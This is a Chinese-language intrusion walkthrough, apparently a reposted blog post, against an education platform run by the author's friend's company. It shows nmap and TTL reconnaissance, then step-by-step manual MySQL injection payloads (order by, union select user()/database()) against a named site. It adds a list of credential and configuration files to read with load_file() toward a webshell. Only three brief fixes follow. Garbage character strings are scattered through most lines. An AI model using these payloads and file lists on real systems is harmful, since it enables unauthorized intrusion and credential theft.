题记:) Y. A3 A$ r0 g5 x9 G2 P. t8 O
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
3 S! N8 i* j" F0 K, E6 n; e- E第一步:获取需要的信息
0 a8 ?1 m0 N$ `% ^ c" w& C2 I由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
" V7 t% |. o. j注:以下为保护特用XXX代替敏感信息
: l% Y, C2 |7 T2 w顺手先PING了一下他们的域名:
* \: k5 B2 y/ D, uping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)/ Q) ?; F1 p3 V5 n" Z% S. M
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms; Z% w4 t% o# w6 ~5 M& X; |: t
顺便了解一下TTL,学好基础知识才能一路顺风:
+ N( ]- T- s5 [+ _& J6 eTTL:(Time To Live ) 生存时间
# M4 B2 o* @' D- } N3 e指定数据包被路由器丢弃之前允许通过的网段数量。
& P8 n5 X* q4 D/ lTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
: B( J1 Z3 r+ W使用PING时涉及到的 ICMP 报文类型
9 M1 S' x8 c7 G8 x一个为ICMP请求回显(ICMP Echo Request)
) B$ i& L+ ]4 G0 X: v( \8 ^一个为ICMP回显应答(ICMP Echo Reply)
. g8 d- {: m6 pTTL 字段值可以帮助我们识别操作系统类型。( X* X2 O( N1 z ~
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
+ L/ U7 b3 y; [: U+ g: _' fCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64. m/ o6 O! j' |4 X; a& h c
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
w1 w! m S7 t* }" i7 T P微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 326 h. V" c' ?+ v, P
当然,返回的TTL值是相同的
# \9 Q" @ r7 O, ?4 d0 z但有些情况下有所特殊( p) h. `1 }% I' w: F
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
) p3 S h; H2 y9 \' m: uFreeBSD 4.1, 4.0, 3.4;+ ]3 a: a$ J' i; l( _8 K" U
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
' Q) W8 x! E' g3 fOpenBSD 2.6, 2.7,9 m7 M8 l1 ]! N1 L( {/ W' [
NetBSD
# s: I0 F \+ }9 `/ y& D8 a2 ]4 ZHP UX 10.20
% i: A7 `. s) \4 I8 xICMP 回显应答的 TTL 字段值为 255* f# f' x# X1 b/ J; [$ Q: U( m
Windows 95/98/98SE8 {6 X0 E% H/ O+ d4 b
Windows ME
4 O, I: }* y0 q+ E2 S& rICMP 回显应答的 TTL 字段值为 32
) B" A1 {" ?/ O7 YWindows NT4 WRKS L+ Q" O# V0 G/ T8 y9 b
Windows NT4 Server
@6 l! o# g+ i. R2 o2 _6 iWindows 2000
8 L' E2 D8 n. W, d7 p, ?Windows XP
V+ ` L$ n0 m: A+ C. KICMP 回显应答的 TTL 字段值为 128
+ Y, A0 t6 o6 e4 y这样,我们就可以通过这种方法来辨别操作系统8 j% |! J& K5 G5 b" D9 ~
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
% V# o! g8 a3 Y$ V8 f用NMAP扫描一下:
! t3 ?, P- O1 P& Q, znmap -sT -O XXX.XXX.XXX.XXX% j; Z& O2 a. P2 i
如果没有装WinPcap则会弹出提示:. {5 ]$ J4 R: N) w3 P, J2 {! f2 X/ y
WARNING: Could not import all necessary WinPcap functions. You may need to upgr0 n5 m' T7 k5 Y
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
' K4 e- R" }) e/ l; @" J7 r) mode — Nmap may not function completely
1 B# |0 N. Y- oTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher1 p f/ m Z9 Y
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win' e$ t2 b: i' s! |; D# g% Z
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
) b3 k9 s* s K9 n! Cd later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
+ N' [2 S" d: a; |ersions, you may be able to take iphlpapi.dll from another system and place it i7 U9 i( y/ a W4 A/ q
n your system32 dir (e.g. c:\windows\system32)./ |& q! P% b8 s8 P# a$ B% {
QUITTING!5 S/ Z4 n# @& o. E! Y( w
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
1 n6 S% @. {8 c2 ^3 g7 a安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
, t# J9 C) B4 f' {. Y7 OInteresting ports on XXX.XXX.XXX.XXX:* K7 R# z& _$ q' G6 ]; R
Not shown: 986 closed ports1 D8 ?( E5 O' d7 D. t
PORT STATE SERVICE: f, n6 x9 [, `/ Y$ ]
21/tcp open ftp, B4 p. U, u; B. ^
22/tcp open ssh
- R) m& q7 J- @- a% x& T23/tcp open telnet
O# Q7 X) k( m9 u- O$ u80/tcp open http
3 I1 z2 \1 o5 P) ~8 W111/tcp open rpcbind
+ e/ R D. A) w R; _1 @135/tcp filtered msrpc$ a) T6 [' s$ L3 y$ Q+ u6 A
139/tcp filtered netbios-ssn
- }0 Z( Y# y1 T" B" w4 W* o445/tcp filtered microsoft-ds
! A( o& i& s& k' ^9 e* e% I513/tcp open login
5 Q& M3 m, D/ K514/tcp open shell3 l& P l- A! E+ Y" ^( U
593/tcp filtered http-rpc-epmap' P$ U! r+ J( B$ g& V' G
1720/tcp filtered H.323/Q.931
; r8 t) D l& q+ {3306/tcp open mysql
, Z8 M* }- J; h" ]" ~+ k( l9 G$ {0 Y4444/tcp filtered krb5248 Y4 A* J+ F6 _0 C
Device type: WAP, n' F4 ^4 {( M6 h
Running: Linux 2.4.X
7 }3 N/ A' R4 ]( pOS details: DD-WRT (Linux 2.4.35s)+ F8 G1 i5 g& v+ x4 j* W. n
Network Distance: 13 hops
" x, q6 c9 O% s4 l6 q; a看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:3 Q: P- ]! m, i" q
login as:
' i4 z8 c; ~3 r- \Telnet23端口也是开着的,用telnet 命令链接一下:
L& c! P; c$ N! W* X9 G) vtelnet XXX.XXX.XXX.XXX1 `7 }0 _; v7 \' N
提示:+ v- n4 f* Z& M: K, E+ T
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
( X; C# h% }4 w6 IKernel 2.6.18-92.el5PAE on an i686
: E. L7 A8 l" B. x' mlogin:9 `* c/ V3 ^ B
获取HTTP头信息:: z: J6 V4 d, k, L% T
在本地执行如下PHP代码
( W( t! i+ {$ \4 Z% I r<?php
( D2 V4 t/ |5 a6 ?: _8 c$url = ‘XXX.XXX.XXX.XXX’;
; K7 u! }/ h* `5 W4 pprint_r(get_headers($url));
! D, H: S8 [0 U! }0 ^print_r(get_headers($url, 1));1 e3 b, e' a1 |6 V
?>
! t5 `7 `# A# ~3 n% O将以上代码保存为PHP文件,执行:% v1 s9 `& d5 W* j4 S- @
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )9 h' P9 _6 h0 \4 C6 H* K
现在可以得出结论:
+ S: q4 ?* r6 ^ E$ y1 U系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
. e' t$ t! e* D5 Y, ?8 y内核版本:Kernel 2.6.18-92.el5PAE on an i6869 ~. z) A4 x& X ~6 Z% |
WEB服务器版本:nginx/0.7.61
7 Z; Z8 P6 Q: N7 q/ K ~1 J/ d第二步,开始测试寻找漏洞
2 H' R7 h8 y" B% y3 I$ o3 t分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
" z" f' g) O* d% |& p6 e G1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
3 z- U# `' R( H7 y2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
& J9 h' _; _, `0 b, |0 `" Ohttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常' u. y7 w( B, y
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误( Q( w/ s2 x6 @- A# J+ z
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续0 i5 |' e( w/ G4 a( `
3、手工注入:3 \) i# e2 D0 Z+ R$ j$ C* K- t
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。/ @+ V) C+ U# K) I" n$ }
3.1 猜测当前表字段数# H* v0 k7 ?5 W8 R2 {, S' r8 F* I
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 105 m2 Q* b& ^3 \
此处猜测有个简单的算法,都是有技巧的吗,呵呵
, l( N7 j2 [1 ^0 I! H# T算法简单如下:
% h3 x) i- L! W/ E9 h第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;& {. W8 V% y' Z! d8 }6 w! Q& G
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
' `: ?4 S+ y- ]" W需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
; P. F3 I0 K0 p7 Y& q. f; B以此来判断,是否过界,配合取中算法猜出字段数。
( C3 r$ x3 j3 \! w2 |2 {举例:; K5 P4 }3 b; g7 ?0 _7 K$ W* Q S- G `
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
; j4 w$ P, o' l2 |" M, Dhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误; r5 D+ U1 u7 |+ C2 z
此时3则为我们要找的字段数。( l) Z* Z5 O2 j0 a
3.2 配合union联合查询字段在页面所位置1 e" C7 e4 }+ Y
我们已经知道了字段数为3,此时则可以做如下操作:
$ z* a1 u B$ L% lhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
& `- b6 \) m% s' T
$ e+ B- K0 w5 R+ X这样就可以测试到哪些字段在页面上有所显示了,如图:
' x8 i' ^% R+ R$ v" D: ?( I" t
7 L$ ~/ ?! Z1 W/ X3 s7 @, s i: W3.3 查敏感信息( T" t* r7 Z1 V7 j/ [/ t( Z
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。/ Y6 }4 H% x4 v/ r0 M
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
! c; V ?5 k- R- r6 H3.3.1 先查数据库用户、数据库名,以备后用,如图:) D/ Q5 k6 e! i; c% P1 n# c9 Z
1 o$ O) t/ i; b$ j4 j ~4 A" h; A得到数据库用户为root、数据库名为DBxx;
3 L! ]6 l2 F3 ^5 a8 v3.3.2 查配置文件
9 O# M" w D+ ^% D" t2 M查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。, O# v; t& O9 r8 \# d
查看文件有一定的条件限制:4 c7 X1 T$ L2 V; ?
欲读取文件必须在服务器上
/ K( [2 [1 m9 |9 A6 w必须指定文件完整的路径( s; k& d: i3 r8 \
必须有权限读取并且文件必须完全可读
3 n! q- s" I# H4 I欲读取文件必须小于 max_allowed_packet
6 D) Q l+ M& y v6 pMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
# c. t. r1 c: T! X+ _" P- [; M常用的一些:) a: O5 D- L. k
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/ Z. {+ i4 H6 ]. K% t/usr/local/apache2/conf/httpd.conf2 Z8 ` R, m( b- v0 L
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
: ]2 ?6 m( [/ V9 Z: k! P1 @/usr/local/app/php5/lib/php.ini //PHP相关设置' S6 _/ s r% d, R- H( z( ]
/etc/sysconfig/iptables //从中得到防火墙规则策略
8 J! g& r0 a2 W/etc/httpd/conf/httpd.conf // apache配置文件
1 s: a% H% r# p$ ]/etc/rsyncd.conf //同步程序配置文件
# }4 f) _" f) d& a* q! j/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP./ Z& v9 T9 _/ d6 u6 N3 [
/etc/my.cnf //mysql的配置文件
& Q6 P- F/ \1 T6 J/etc/redhat-release //系统版本: m8 ]8 p3 ?7 m4 F
/etc/issue
* s; L7 u$ i. v! l/ d( u# |/etc/issue.net4 i/ W4 [1 u% k* K
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码- m! w4 t# ]1 z7 x* f3 q
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码; n1 T8 ^- k+ L# K/ V' `5 X
c:\Program Files\Serv-U\ServUDaemon.ini, o4 H- I9 ^" g$ F% e9 y% a
c:\windows\my.ini //MYSQL配置文件
3 T8 N+ w4 g8 U. F" tc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件! Y4 h, K; Q2 z6 G6 B
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件, J$ V% l# c0 ?2 ]
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码7 v/ {* T( K5 [% A
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
1 ?; C( f- v1 B [( {; R. `6 {c:\Program Files\RhinoSoft.com\ServUDaemon.exe
* w9 U6 i5 d1 {; k0 v' K+ eC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件* {2 {3 b9 I0 }8 t4 ^9 _# `
//存储了pcAnywhere的登陆密码
6 D2 W) ^3 |) c/ X) r! h" _由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。( Q1 l$ b5 P7 M7 ^" Q" L8 f
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
* z9 T$ j: R3 q5 l. g9 t最后:防范措施
8 A9 g2 R! k+ b' ^7 J0 i, ?1、修复PHP注入漏洞;
- Y% G4 Y4 Z) }( }2、Mysql使用普通权限的用户;
% N: r- \* V* F$ {3、升级linux内核至最新版本; |